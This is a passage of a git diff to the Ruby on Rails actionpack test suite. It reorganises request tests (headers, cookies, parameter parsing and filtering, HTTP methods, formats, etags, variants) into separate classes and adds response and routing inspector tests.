+    assert_equal nil, request.content_mime_type
+    assert_equal "CGI/1.1", request.gateway_interface
+    assert_equal "*/*", request.accept
+    assert_equal "UTF-8", request.accept_charset
+    assert_equal "gzip, deflate", request.accept_encoding
+    assert_equal "en", request.accept_language
+    assert_equal "no-cache, max-age=0", request.cache_control
+    assert_equal "googlebot", request.from
+    assert_equal "glu.ttono.us", request.host
+    assert_equal "trans", request.negotiate
+    assert_equal "no-cache", request.pragma
+    assert_equal "http://www.google.com/search?q=glu.ttono.us", request.referer
+    assert_equal "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)", request.user_agent
+    assert_equal "/homepage/", request.path_info
+    assert_equal "/home/kevinc/sites/typo/public/homepage/", request.path_translated
+    assert_equal "", request.query_string
+    assert_equal "207.7.108.53", request.remote_addr
+    assert_equal "google.com", request.remote_host
+    assert_equal "kevin", request.remote_ident
+    assert_equal "kevin", request.remote_user
+    assert_equal "GET", request.request_method
+    assert_equal "/dispatch.fcgi", request.script_name
+    assert_equal "glu.ttono.us", request.server_name
+    assert_equal 8007, request.server_port
+    assert_equal "HTTP/1.1", request.server_protocol
+    assert_equal "lighttpd", request.server_software
+  end
+end
+
+class LocalhostTest < BaseRequestTest
+  test "IPs that match localhost" do
+    request = stub_request("REMOTE_IP" => "127.1.1.1", "REMOTE_ADDR" => "127.1.1.1")
+    assert request.local?
+  end
+end
+
+class RequestCookie < BaseRequestTest
+  test "cookie syntax resilience" do
+    request = stub_request("HTTP_COOKIE" => "_session_id=c84ace84796670c052c6ceb2451fb0f2; is_admin=yes")
+    assert_equal "c84ace84796670c052c6ceb2451fb0f2", request.cookies["_session_id"], request.cookies.inspect
+    assert_equal "yes", request.cookies["is_admin"], request.cookies.inspect
+
+    # some Nokia phone browsers omit the space after the semicolon separator.
+    # some developers have grown accustomed to using comma in cookie values.
+    request = stub_request("HTTP_COOKIE"=>"_session_id=c84ace847,96670c052c6ceb2451fb0f2;is_admin=yes")
+    assert_equal "c84ace847", request.cookies["_session_id"], request.cookies.inspect
+    assert_equal "yes", request.cookies["is_admin"], request.cookies.inspect
+  end
+end
+
+class RequestParamsParsing < BaseRequestTest
+  test "doesnt break when content type has charset" do
+    request = stub_request(
+      'REQUEST_METHOD' => 'POST',
+      'CONTENT_LENGTH' => "flamenco=love".length,
+      'CONTENT_TYPE' => 'application/x-www-form-urlencoded; charset=utf-8',
+      'rack.input' => StringIO.new("flamenco=love")
+    )
+
+    assert_equal({"flamenco"=> "love"}, request.request_parameters)
+  end
 
-    request = stub_request 'SERVER_SOFTWARE' => 'Apache3.422'
-    assert_equal 'apache', request.server_software
+  test "doesnt interpret request uri as query string when missing" do
+    request = stub_request('REQUEST_URI' => 'foo')
+    assert_equal({}, request.query_parameters)
+  end
+end
+
+class RequestRewind < BaseRequestTest
+  test "body should be rewound" do
+    data = 'rewind'
+    env = {
+      'rack.input' => StringIO.new(data),
+      'CONTENT_LENGTH' => data.length,
+      'CONTENT_TYPE' => 'application/x-www-form-urlencoded; charset=utf-8'
+    }
 
-    request = stub_request 'SERVER_SOFTWARE' => 'lighttpd(1.1.4)'
-    assert_equal 'lighttpd', request.server_software
+    # Read the request body by parsing params.
+    request = stub_request(env)
+    request.request_parameters
+
+    # Should have rewound the body.
+    assert_equal 0, request.body.pos
+  end
+
+  test "raw_post rewinds rack.input if RAW_POST_DATA is nil" do
+    request = stub_request(
+      'rack.input' => StringIO.new("raw"),
+      'CONTENT_LENGTH' => 3
+    )
+    assert_equal "raw", request.raw_post
+    assert_equal "raw", request.env['rack.input'].read
+  end
+end
+
+class RequestProtocol < BaseRequestTest
+  test "server software" do
+    assert_equal 'lighttpd', stub_request('SERVER_SOFTWARE' => 'lighttpd/1.4.5').server_software
+    assert_equal 'apache', stub_request('SERVER_SOFTWARE' => 'Apache3.422').server_software
   end
 
   test "xml http request" do
@@ -383,19 +616,12 @@ class RequestTest < ActiveSupport::TestCase
   end
 
   test "reports ssl" do
-    request = stub_request
-    assert !request.ssl?
-
-    request = stub_request 'HTTPS' => 'on'
-    assert request.ssl?
+    assert !stub_request.ssl?
+    assert stub_request('HTTPS' => 'on').ssl?
   end
 
   test "reports ssl when proxied via lighttpd" do
-    request = stub_request
-    assert !request.ssl?
-
-    request = stub_request 'HTTP_X_FORWARDED_PROTO' => 'https'
-    assert request.ssl?
+    assert stub_request('HTTP_X_FORWARDED_PROTO' => 'https').ssl?
   end
 
   test "scheme returns https when proxied" do
@@ -403,63 +629,92 @@ class RequestTest < ActiveSupport::TestCase
     assert !request.ssl?
     assert_equal 'http', request.scheme
 
-    request = stub_request 'rack.url_scheme' => 'http', 'HTTP_X_FORWARDED_PROTO' => 'https'
+    request = stub_request(
+      'rack.url_scheme' => 'http',
+      'HTTP_X_FORWARDED_PROTO' => 'https'
+    )
     assert request.ssl?
     assert_equal 'https', request.scheme
   end
+end
+
+class RequestMethod < BaseRequestTest
+  test "method returns environment's request method when it has not been
+    overridden by middleware".squish do
+
+    ActionDispatch::Request::HTTP_METHODS.each do |method|
+      request = stub_request('REQUEST_METHOD' => method)
 
-  test "String request methods" do
-    [:get, :post, :patch, :put, :delete].each do |method|
-      request = stub_request 'REQUEST_METHOD' => method.to_s.upcase
-      assert_equal method.to_s.upcase, request.method
+      assert_equal method, request.method
+      assert_equal method.underscore.to_sym, request.method_symbol
     end
   end
 
-  test "Symbol forms of request methods via method_symbol" do
-    [:get, :post, :patch, :put, :delete].each do |method|
-      request = stub_request 'REQUEST_METHOD' => method.to_s.upcase
-      assert_equal method, request.method_symbol
-    end
+  test "allow request method hacking" do
+    request = stub_request('REQUEST_METHOD' => 'POST')
+
+    assert_equal 'POST', request.request_method
+    assert_equal 'POST', request.env["REQUEST_METHOD"]
+
+    request.request_method = 'GET'
+
+    assert_equal 'GET', request.request_method
+    assert_equal 'GET', request.env["REQUEST_METHOD"]
   end
 
   test "invalid http method raises exception" do
     assert_raise(ActionController::UnknownHttpMethod) do
-      request = stub_request 'REQUEST_METHOD' => 'RANDOM_METHOD'
-      request.request_method
+      stub_request('REQUEST_METHOD' => 'RANDOM_METHOD').request_method
     end
   end
 
-  test "allow method hacking on post" do
-    %w(GET OPTIONS PATCH PUT POST DELETE).each do |method|
-      request = stub_request "REQUEST_METHOD" => method.to_s.upcase
-      assert_equal(method == "HEAD" ? "GET" : method, request.method)
-    end
+  test "method returns original value of environment request method on POST" do
+    request = stub_request('rack.methodoverride.original_method' => 'POST')
+    assert_equal 'POST', request.method
   end
 
-  test "invalid method hacking on post raises exception" do
+  test "method raises exception on invalid HTTP method" do
     assert_raise(ActionController::UnknownHttpMethod) do
-      request = stub_request "REQUEST_METHOD" => "_RANDOM_METHOD"
-      request.request_method
+      stub_request('rack.methodoverride.original_method' => '_RANDOM_METHOD').method
+    end
+
+    assert_raise(ActionController::UnknownHttpMethod) do
+      stub_request('REQUEST_METHOD' => '_RANDOM_METHOD').method
     end
   end
 
-  test "restrict method hacking" do
-    [:get, :patch, :put, :delete].each do |method|
-      request = stub_request 'REQUEST_METHOD' => method.to_s.upcase,
-        'action_dispatch.request.request_parameters' => { :_method => 'put' }
-      assert_equal method.to_s.upcase, request.method
+  test "exception on invalid HTTP method unaffected by I18n settings" do
+    old_locales = I18n.available_locales
+    old_enforce = I18n.config.enforce_available_locales
+
+    begin
+      I18n.available_locales = [:nl]
+      I18n.config.enforce_available_locales = true
+      assert_raise(ActionController::UnknownHttpMethod) do
+        stub_request('REQUEST_METHOD' => '_RANDOM_METHOD').method
+      end
+    ensure
+      I18n.available_locales = old_locales
+      I18n.config.enforce_available_locales = old_enforce
     end
   end
 
   test "post masquerading as patch" do
-    request = stub_request 'REQUEST_METHOD' => 'PATCH', "rack.methodoverride.original_method" => "POST"
+    request = stub_request(
+      'REQUEST_METHOD' => 'PATCH',
+      "rack.methodoverride.original_method" => "POST"
+    )
+
     assert_equal "POST", request.method
     assert_equal "PATCH",  request.request_method
     assert request.patch?
   end
 
   test "post masquerading as put" do
-    request = stub_request 'REQUEST_METHOD' => 'PUT', "rack.methodoverride.original_method" => "POST"
+    request = stub_request(
+      'REQUEST_METHOD' => 'PUT',
+      "rack.methodoverride.original_method" => "POST"
+    )
     assert_equal "POST", request.method
     assert_equal "PUT",  request.request_method
     assert request.put?
@@ -485,7 +740,9 @@ class RequestTest < ActiveSupport::TestCase
       end
     end
   end
+end
 
+class RequestFormat < BaseRequestTest
   test "xml format" do
     request = stub_request
     request.expects(:parameters).at_least_once.returns({ :format => 'xml' })
@@ -505,109 +762,55 @@ class RequestTest < ActiveSupport::TestCase
   end
 
   test "XMLHttpRequest" do
-    request = stub_request 'HTTP_X_REQUESTED_WITH' => 'XMLHttpRequest',
-                           'HTTP_ACCEPT' =>
-                             [Mime::JS, Mime::HTML, Mime::XML, 'text/xml', Mime::ALL].join(",")
+    request = stub_request(
+      'HTTP_X_REQUESTED_WITH' => 'XMLHttpRequest',
+      'HTTP_ACCEPT' => [Mime::JS, Mime::HTML, Mime::XML, "text/xml", Mime::ALL].join(",")
+    )
     request.expects(:parameters).at_least_once.returns({})
     assert request.xhr?
     assert_equal Mime::JS, request.format
   end
 
-  test "content type" do
-    request = stub_request 'CONTENT_TYPE' => 'text/html'
-    assert_equal Mime::HTML, request.content_mime_type
-  end
-
-  test "can override format with parameter" do
+  test "can override format with parameter negative" do
     request = stub_request
     request.expects(:parameters).at_least_once.returns({ :format => :txt })
     assert !request.format.xml?
+  end
 
+  test "can override format with parameter positive" do
     request = stub_request
     request.expects(:parameters).at_least_once.returns({ :format => :xml })
     assert request.format.xml?
   end
 
-  test "no content type" do
-    request = stub_request
-    assert_equal nil, request.content_mime_type
-  end
-
-  test "content type is XML" do
-    request = stub_request 'CONTENT_TYPE' => 'application/xml'
-    assert_equal Mime::XML, request.content_mime_type
-  end
-
-  test "content type with charset" do
-    request = stub_request 'CONTENT_TYPE' => 'application/xml; charset=UTF-8'
-    assert_equal Mime::XML, request.content_mime_type
-  end
-
-  test "user agent" do
-    request = stub_request 'HTTP_USER_AGENT' => 'TestAgent'
-    assert_equal 'TestAgent', request.user_agent
-  end
-
-  test "parameters" do
-    request = stub_request
-    request.stubs(:request_parameters).returns({ "foo" => 1 })
-    request.stubs(:query_parameters).returns({ "bar" => 2 })
-
-    assert_equal({"foo" => 1, "bar" => 2}, request.parameters)
-    assert_equal({"foo" => 1}, request.request_parameters)
-    assert_equal({"bar" => 2}, request.query_parameters)
-  end
-
-  test "parameters still accessible after rack parse error" do
-    mock_rack_env = { "QUERY_STRING" => "x[y]=1&x[y][][w]=2", "rack.input" => "foo" }
-    request = nil
-    request = stub_request(mock_rack_env)
-
-    assert_raises(ActionController::BadRequest) do
-      # rack will raise a TypeError when parsing this query string
-      request.parameters
-    end
-
-    assert_equal({}, request.parameters)
-  end
-
-  test "we have access to the original exception" do
-    mock_rack_env = { "QUERY_STRING" => "x[y]=1&x[y][][w]=2", "rack.input" => "foo" }
-    request = nil
-    request = stub_request(mock_rack_env)
-
-    e = assert_raises(ActionController::BadRequest) do
-      # rack will raise a TypeError when parsing this query string
-      request.parameters
-    end
-
-    assert e.original_exception
-    assert_equal e.original_exception.backtrace, e.backtrace
-  end
-
-  test "formats with accept header" do
+  test "formats text/html with accept header" do
     request = stub_request 'HTTP_ACCEPT' => 'text/html'
-    request.expects(:parameters).at_least_once.returns({})
     assert_equal [Mime::HTML], request.formats
+  end
 
+  test "formats blank with accept header" do
     request = stub_request 'HTTP_ACCEPT' => ''
-    request.expects(:parameters).at_least_once.returns({})
     assert_equal [Mime::HTML], request.formats
+  end
 
-    request = stub_request 'HTTP_ACCEPT' => '',
-                           'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
-    request.expects(:parameters).at_least_once.returns({})
+  test "formats XMLHttpRequest with accept header" do
+    request = stub_request 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
     assert_equal [Mime::JS], request.formats
-    
-    request = stub_request 'CONTENT_TYPE' => 'application/xml; charset=UTF-8',
-                           'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
-    request.expects(:parameters).at_least_once.returns({})
+  end
+
+  test "formats application/xml with accept header" do
+    request = stub_request('CONTENT_TYPE' => 'application/xml; charset=UTF-8',
+                           'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest")
     assert_equal [Mime::XML], request.formats
+  end
 
+  test "formats format:text with accept header" do
     request = stub_request
     request.expects(:parameters).at_least_once.returns({ :format => :txt })
     assert_equal [Mime::TEXT], request.formats
+  end
 
+  test "formats format:unknown with accept header" do
     request = stub_request
     request.expects(:parameters).at_least_once.returns({ :format => :unknown })
     assert_instance_of Mime::NullType, request.format
@@ -616,10 +819,16 @@ class RequestTest < ActiveSupport::TestCase
   test "format is not nil with unknown format" do
     request = stub_request
     request.expects(:parameters).at_least_once.returns({ format: :hello })
-    assert_equal request.format.nil?, true
-    assert_equal request.format.html?, false
-    assert_equal request.format.xml?, false
-    assert_equal request.format.json?, false
+    assert request.format.nil?
+    assert_not request.format.html?
+    assert_not request.format.xml?
+    assert_not request.format.json?
+  end
+
+  test "format does not throw exceptions when malformed parameters" do
+    request = stub_request("QUERY_STRING" => "x[y]=1&x[y][][w]=2")
+    assert request.formats
+    assert request.format.html?
   end
 
   test "formats with xhr request" do
@@ -629,6 +838,7 @@ class RequestTest < ActiveSupport::TestCase
   end
 
   test "ignore_accept_header" do
+    old_ignore_accept_header = ActionDispatch::Request.ignore_accept_header
     ActionDispatch::Request.ignore_accept_header = true
 
     begin
@@ -658,33 +868,115 @@ class RequestTest < ActiveSupport::TestCase
       request.expects(:parameters).at_least_once.returns({:format => :json})
       assert_equal [ Mime::JSON ], request.formats
     ensure
-      ActionDispatch::Request.ignore_accept_header = false
+      ActionDispatch::Request.ignore_accept_header = old_ignore_accept_header
     end
   end
+end
 
-  test "negotiate_mime" do
-    request = stub_request 'HTTP_ACCEPT' => 'text/html',
-                           'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
+class RequestMimeType < BaseRequestTest
+  test "content type" do
+    assert_equal Mime::HTML, stub_request('CONTENT_TYPE' => 'text/html').content_mime_type
+  end
 
-    request.expects(:parameters).at_least_once.returns({})
+  test "no content type" do
+    assert_equal nil, stub_request.content_mime_type
+  end
+
+  test "content type is XML" do
+    assert_equal Mime::XML, stub_request('CONTENT_TYPE' => 'application/xml').content_mime_type
+  end
+
+  test "content type with charset" do
+    assert_equal Mime::XML, stub_request('CONTENT_TYPE' => 'application/xml; charset=UTF-8').content_mime_type
+  end
+
+  test "user agent" do
+    assert_equal 'TestAgent', stub_request('HTTP_USER_AGENT' => 'TestAgent').user_agent
+  end
+
+  test "negotiate_mime" do
+    request = stub_request(
+      'HTTP_ACCEPT' => 'text/html',
+      'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
+    )
 
     assert_equal nil, request.negotiate_mime([Mime::XML, Mime::JSON])
     assert_equal Mime::HTML, request.negotiate_mime([Mime::XML, Mime::HTML])
     assert_equal Mime::HTML, request.negotiate_mime([Mime::XML, Mime::ALL])
+  end
+
+  test "negotiate_mime with content_type" do
+    request = stub_request(
+      'CONTENT_TYPE' => 'application/xml; charset=UTF-8',
+      'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
+    )
 
-    request = stub_request 'CONTENT_TYPE' => 'application/xml; charset=UTF-8',
-                           'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
-    request.expects(:parameters).at_least_once.returns({})
     assert_equal Mime::XML, request.negotiate_mime([Mime::XML, Mime::CSV])
   end
+end
 
-  test "raw_post rewinds rack.input if RAW_POST_DATA is nil" do
-    request = stub_request('rack.input' => StringIO.new("foo"),
-                           'CONTENT_LENGTH' => 3)
-    assert_equal "foo", request.raw_post
-    assert_equal "foo", request.env['rack.input'].read
+class RequestParameters < BaseRequestTest
+  test "parameters" do
+    request = stub_request
+    request.expects(:request_parameters).at_least_once.returns({ "foo" => 1 })
+    request.expects(:query_parameters).at_least_once.returns({ "bar" => 2 })
+
+    assert_equal({"foo" => 1, "bar" => 2}, request.parameters)
+    assert_equal({"foo" => 1}, request.request_parameters)
+    assert_equal({"bar" => 2}, request.query_parameters)
   end
 
+  test "parameters not accessible after rack parse error" do
+    request = stub_request("QUERY_STRING" => "x[y]=1&x[y][][w]=2")
+
+    2.times do
+      assert_raises(ActionController::BadRequest) do
+        # rack will raise a Rack::Utils::ParameterTypeError when parsing this query string
+        request.parameters
+      end
+    end
+  end
+
+  test "parameters not accessible after rack parse error of invalid UTF8 character" do
+    request = stub_request("QUERY_STRING" => "foo%81E=1")
+
+    2.times do
+      assert_raises(ActionController::BadRequest) do
+        # rack will raise a Rack::Utils::InvalidParameterError when parsing this query string
+        request.parameters
+      end
+    end
+  end
+
+  test "parameters not accessible after rack parse error 1" do
+    request = stub_request(
+      'REQUEST_METHOD' => 'POST',
+      'CONTENT_LENGTH' => "a%=".length,
+      'CONTENT_TYPE' => 'application/x-www-form-urlencoded; charset=utf-8',
+      'rack.input' => StringIO.new("a%=")
+    )
+
+    assert_raises(ActionController::BadRequest) do
+      # rack will raise a Rack::Utils::ParameterTypeError when parsing this query string
+      request.parameters
+    end
+  end
+
+  test "we have access to the original exception" do
+    request = stub_request("QUERY_STRING" => "x[y]=1&x[y][][w]=2")
+
+    e = assert_raises(ActionController::BadRequest) do
+      # rack will raise a Rack::Utils::ParameterTypeError when parsing this query string
+      request.parameters
+    end
+
+    assert e.original_exception
+    assert_equal e.original_exception.backtrace, e.backtrace
+  end
+end
+
+
+class RequestParameterFilter < BaseRequestTest
   test "process parameter filter" do
     test_hashes = [
     [{'foo'=>'bar'},{'foo'=>'bar'},%w'food'],
@@ -705,17 +997,22 @@ class RequestTest < ActiveSupport::TestCase
       }
 
       parameter_filter = ActionDispatch::Http::ParameterFilter.new(filter_words)
-      before_filter['barg'] = {'bargain'=>'gain', 'blah'=>'bar', 'bar'=>{'bargain'=>{'blah'=>'foo'}}}
-      after_filter['barg']  = {'bargain'=>'niag', 'blah'=>'[FILTERED]', 'bar'=>{'bargain'=>{'blah'=>'[FILTERED]'}}}
+      before_filter['barg'] = {:bargain=>'gain', 'blah'=>'bar', 'bar'=>{'bargain'=>{'blah'=>'foo'}}}
+      after_filter['barg']  = {:bargain=>'niag', 'blah'=>'[FILTERED]', 'bar'=>{'bargain'=>{'blah'=>'[FILTERED]'}}}
 
       assert_equal after_filter, parameter_filter.filter(before_filter)
     end
   end
 
   test "filtered_parameters returns params filtered" do
-    request = stub_request('action_dispatch.request.parameters' =>
-      { 'lifo' => 'Pratik', 'amount' => '420', 'step' => '1' },
-      'action_dispatch.parameter_filter' => [:lifo, :amount])
+    request = stub_request(
+      'action_dispatch.request.parameters' => {
+        'lifo' => 'Pratik',
+        'amount' => '420',
+        'step' => '1'
+      },
+      'action_dispatch.parameter_filter' => [:lifo, :amount]
+    )
 
     params = request.filtered_parameters
     assert_equal "[FILTERED]", params["lifo"]
@@ -724,10 +1021,14 @@ class RequestTest < ActiveSupport::TestCase
   end
 
   test "filtered_env filters env as a whole" do
-    request = stub_request('action_dispatch.request.parameters' =>
-      { 'amount' => '420', 'step' => '1' }, "RAW_POST_DATA" => "yada yada",
-      'action_dispatch.parameter_filter' => [:lifo, :amount])
-
+    request = stub_request(
+      'action_dispatch.request.parameters' => {
+        'amount' => '420',
+        'step' => '1'
+      },
+      "RAW_POST_DATA" => "yada yada",
+      'action_dispatch.parameter_filter' => [:lifo, :amount]
+    )
     request = stub_request(request.filtered_env)
 
     assert_equal "[FILTERED]", request.raw_post
@@ -737,9 +1038,11 @@ class RequestTest < ActiveSupport::TestCase
 
   test "filtered_path returns path with filtered query string" do
     %w(; &).each do |sep|
-      request = stub_request('QUERY_STRING' => %w(username=sikachu secret=bd4f21f api_key=b1bc3b3cd352f68d79d7).join(sep),
+      request = stub_request(
+        'QUERY_STRING' => %w(username=sikachu secret=bd4f21f api_key=b1bc3b3cd352f68d79d7).join(sep),
         'PATH_INFO' => '/authenticate',
-        'action_dispatch.parameter_filter' => [:secret, :api_key])
+        'action_dispatch.parameter_filter' => [:secret, :api_key]
+      )
 
       path = request.filtered_path
       assert_equal %w(/authenticate?username=sikachu secret=[FILTERED] api_key=[FILTERED]).join(sep), path
@@ -747,56 +1050,40 @@ class RequestTest < ActiveSupport::TestCase
   end
 
   test "filtered_path should not unescape a genuine '[FILTERED]' value" do
-    request = stub_request('QUERY_STRING' => "secret=bd4f21f&genuine=%5BFILTERED%5D",
+    request = stub_request(
+      'QUERY_STRING' => "secret=bd4f21f&genuine=%5BFILTERED%5D",
       'PATH_INFO' => '/authenticate',
-      'action_dispatch.parameter_filter' => [:secret])
+      'action_dispatch.parameter_filter' => [:secret]
+    )
 
     path = request.filtered_path
-    assert_equal "/authenticate?secret=[FILTERED]&genuine=%5BFILTERED%5D", path
+    assert_equal request.script_name + "/authenticate?secret=[FILTERED]&genuine=%5BFILTERED%5D", path
   end
 
   test "filtered_path should preserve duplication of keys in query string" do
-    request = stub_request('QUERY_STRING' => "username=sikachu&secret=bd4f21f&username=fxn",
+    request = stub_request(
+      'QUERY_STRING' => "username=sikachu&secret=bd4f21f&username=fxn",
       'PATH_INFO' => '/authenticate',
-      'action_dispatch.parameter_filter' => [:secret])
+      'action_dispatch.parameter_filter' => [:secret]
+    )
 
     path = request.filtered_path
-    assert_equal "/authenticate?username=sikachu&secret=[FILTERED]&username=fxn", path
+    assert_equal request.script_name + "/authenticate?username=sikachu&secret=[FILTERED]&username=fxn", path
   end
 
   test "filtered_path should ignore searchparts" do
-    request = stub_request('QUERY_STRING' => "secret",
+    request = stub_request(
+      'QUERY_STRING' => "secret",
       'PATH_INFO' => '/authenticate',
-      'action_dispatch.parameter_filter' => [:secret])
+      'action_dispatch.parameter_filter' => [:secret]
+    )
 
     path = request.filtered_path
-    assert_equal "/authenticate?secret", path
-  end
-
-  test "original_fullpath returns ORIGINAL_FULLPATH" do
-    request = stub_request('ORIGINAL_FULLPATH' => "/foo?bar")
-
-    path = request.original_fullpath
-    assert_equal "/foo?bar", path
-  end
-
-  test "original_url returns url built using ORIGINAL_FULLPATH" do
-    request = stub_request('ORIGINAL_FULLPATH' => "/foo?bar",
-                           'HTTP_HOST'         => "example.org",
-                           'rack.url_scheme'   => "http")
-
-    url = request.original_url
-    assert_equal "http://example.org/foo?bar", url
-  end
-
-  test "original_fullpath returns fullpath if ORIGINAL_FULLPATH is not present" do
-    request = stub_request('PATH_INFO'    => "/foo",
-                           'QUERY_STRING' => "bar")
-
-    path = request.original_fullpath
-    assert_equal "/foo?bar", path
+    assert_equal request.script_name + "/authenticate?secret", path
   end
+end
 
+class RequestEtag < BaseRequestTest
   test "if_none_match_etags none" do
     request = stub_request
 
@@ -835,16 +1122,38 @@ class RequestTest < ActiveSupport::TestCase
       assert request.etag_matches?(etag), etag
     end
   end
+end
+
+class RequestVariant < BaseRequestTest
+  test "setting variant" do
+    request = stub_request
+
+    request.variant = :mobile
+    assert_equal [:mobile], request.variant
+
+    request.variant = [:phone, :tablet]
+    assert_equal [:phone, :tablet], request.variant
+
+    assert_raise ArgumentError do
+      request.variant = [:phone, "tablet"]
+    end
+
+    assert_raise ArgumentError do
+      request.variant = "yolo"
+    end
+  end
+
+  test "reset variant" do
+    request = stub_request
 
-protected
+    request.variant = nil
+    assert_equal nil, request.variant
+  end
 
-  def stub_request(env = {})
-    ip_spoofing_check = env.key?(:ip_spoofing_check) ? env.delete(:ip_spoofing_check) : true
-    @trusted_proxies ||= nil
-    ip_app = ActionDispatch::RemoteIp.new(Proc.new { }, ip_spoofing_check, @trusted_proxies)
-    tld_length = env.key?(:tld_length) ? env.delete(:tld_length) : 1
-    ip_app.call(env)
-    ActionDispatch::Http::URL.tld_length = tld_length
-    ActionDispatch::Request.new(env)
+  test "setting variant with non symbol value" do
+    request = stub_request
+    assert_raise ArgumentError do
+      request.variant = "mobile"
+    end
   end
 end
diff --git a/actionpack/test/dispatch/response_test.rb b/actionpack/test/dispatch/response_test.rb
index 4501ea095c..c61423dce4 100644
--- a/actionpack/test/dispatch/response_test.rb
+++ b/actionpack/test/dispatch/response_test.rb
@@ -1,4 +1,6 @@
 require 'abstract_unit'
+require 'timeout'
+require 'rack/content_length'
 
 class ResponseTest < ActiveSupport::TestCase
   def setup
@@ -178,6 +180,7 @@ class ResponseTest < ActiveSupport::TestCase
   end
 
   test "read x_frame_options, x_content_type_options and x_xss_protection" do
+    original_default_headers = ActionDispatch::Response.default_headers
     begin
       ActionDispatch::Response.default_headers = {
         'X-Frame-Options' => 'DENY',
@@ -193,11 +196,12 @@ class ResponseTest < ActiveSupport::TestCase
       assert_equal('nosniff', resp.headers['X-Content-Type-Options'])
       assert_equal('1;', resp.headers['X-XSS-Protection'])
     ensure
-      ActionDispatch::Response.default_headers = nil
+      ActionDispatch::Response.default_headers = original_default_headers
     end
   end
 
   test "read custom default_header" do
+    original_default_headers = ActionDispatch::Response.default_headers
     begin
       ActionDispatch::Response.default_headers = {
         'X-XX-XXXX' => 'Here is my phone number'
@@ -209,7 +213,7 @@ class ResponseTest < ActiveSupport::TestCase
 
       assert_equal('Here is my phone number', resp.headers['X-XX-XXXX'])
     ensure
-      ActionDispatch::Response.default_headers = nil
+      ActionDispatch::Response.default_headers = original_default_headers
     end
   end
 
@@ -217,6 +221,36 @@ class ResponseTest < ActiveSupport::TestCase
     assert_not @response.respond_to?(:method_missing)
     assert @response.respond_to?(:method_missing, true)
   end
+
+  test "can be explicitly destructured into status, headers and an enumerable body" do
+    response = ActionDispatch::Response.new(404, { 'Content-Type' => 'text/plain' }, ['Not Found'])
+    status, headers, body = *response
+
+    assert_equal 404, status
+    assert_equal({ 'Content-Type' => 'text/plain' }, headers)
+    assert_equal ['Not Found'], body.each.to_a
+  end
+
+  test "[response.to_a].flatten does not recurse infinitely" do
+    Timeout.timeout(1) do # use a timeout to prevent it stalling indefinitely
+      status, headers, body = [@response.to_a].flatten
+      assert_equal @response.status, status
+      assert_equal @response.headers, headers
+      assert_equal @response.body, body.each.to_a.join
+    end
+  end
+
+  test "compatibility with Rack::ContentLength" do
+    @response.body = 'Hello'
+    app = lambda { |env| @response.to_a }
+    env = Rack::MockRequest.env_for("/")
+
+    status, headers, body = app.call(env)
+    assert_nil headers['Content-Length']
+
+    status, headers, body = Rack::ContentLength.new(app).call(env)
+    assert_equal '5', headers['Content-Length']
+  end
 end
 
 class ResponseIntegrationTest < ActionDispatch::IntegrationTest
diff --git a/actionpack/test/dispatch/routing/concerns_test.rb b/actionpack/test/dispatch/routing/concerns_test.rb
index 9f37701656..7ef513b0c8 100644
--- a/actionpack/test/dispatch/routing/concerns_test.rb
+++ b/actionpack/test/dispatch/routing/concerns_test.rb
@@ -36,7 +36,8 @@ class RoutingConcernsTest < ActionDispatch::IntegrationTest
   end
 
   include Routes.url_helpers
-  def app; Routes end
+  APP = RoutedRackApp.new Routes
+  def app; APP end
 
   def test_accessing_concern_from_resources
     get "/posts/1/comments"
diff --git a/actionpack/test/dispatch/routing/inspector_test.rb b/actionpack/test/dispatch/routing/inspector_test.rb
index 4f97d28d2b..3d3d4b74ae 100644
--- a/actionpack/test/dispatch/routing/inspector_test.rb
+++ b/actionpack/test/dispatch/routing/inspector_test.rb
@@ -2,6 +2,11 @@ require 'abstract_unit'
 require 'rails/engine'
 require 'action_dispatch/routing/inspector'
 
+class MountedRackApp
+  def self.call(env)
+  end
+end
+
 module ActionDispatch
   module Routing
     class RoutesInspectorTest < ActiveSupport::TestCase
@@ -46,11 +51,32 @@ module ActionDispatch
 
         assert_equal [
           "       Prefix Verb URI Pattern              Controller#Action",
-          "custom_assets GET /custom/assets(.:format) custom_assets#show",
-          "         blog     /blog                    Blog::Engine",
+          "custom_assets GET  /custom/assets(.:format) custom_assets#show",
+          "         blog      /blog                    Blog::Engine",
           "",
           "Routes for Blog::Engine:",
-          "cart GET /cart(.:format) cart#show"
+          "  cart GET  /cart(.:format) cart#show"
+        ], output
+      end
+
+      def test_displaying_routes_for_engines_without_routes
+        engine = Class.new(Rails::Engine) do
+          def self.inspect
+            "Blog::Engine"
+          end
+        end
+        engine.routes.draw do
+        end
+
+        output = draw do
+          mount engine => "/blog", as: "blog"
+        end
+
+        assert_equal [
+          "Prefix Verb URI Pattern Controller#Action",
+          "  blog      /blog       Blog::Engine",
+          "",
+          "Routes for Blog::Engine:"
         ], output
       end
 
@@ -61,7 +87,7 @@ module ActionDispatch
 
         assert_equal [
           "Prefix Verb URI Pattern     Controller#Action",
-          "cart GET /cart(.:format) cart#show"
+          "  cart GET  /cart(.:format) cart#show"
         ], output
       end
 
@@ -72,7 +98,7 @@ module ActionDispatch
 
         assert_equal [
           "       Prefix Verb URI Pattern              Controller#Action",
-          "custom_assets GET /custom/assets(.:format) custom_assets#show"
+          "custom_assets GET  /custom/assets(.:format) custom_assets#show"
         ], output
       end
 
@@ -101,7 +127,7 @@ module ActionDispatch
 
         assert_equal [
           "Prefix Verb URI Pattern Controller#Action",
-          "root GET / pages#main"
+          "  root GET  /           pages#main"
         ], output
       end
 
@@ -112,7 +138,7 @@ module ActionDispatch
 
         assert_equal [
           "Prefix Verb URI Pattern            Controller#Action",
-          " GET /api/:action(.:format) api#:action"
+          "       GET  /api/:action(.:format) api#:action"
         ], output
       end
 
@@ -123,7 +149,7 @@ module ActionDispatch
 
         assert_equal [
           "Prefix Verb URI Pattern                    Controller#Action",
-          " GET /:controller/:action(.:format) :controller#:action"
+          "       GET  /:controller/:action(.:format) :controller#:action"
         ], output
       end
 
@@ -134,7 +160,7 @@ module ActionDispatch
 
         assert_equal [
           "Prefix Verb URI Pattern                            Controller#Action",
-          " GET /:controller(/:action(/:id))(.:format) :controller#:action {:id=>/\\d+/}"
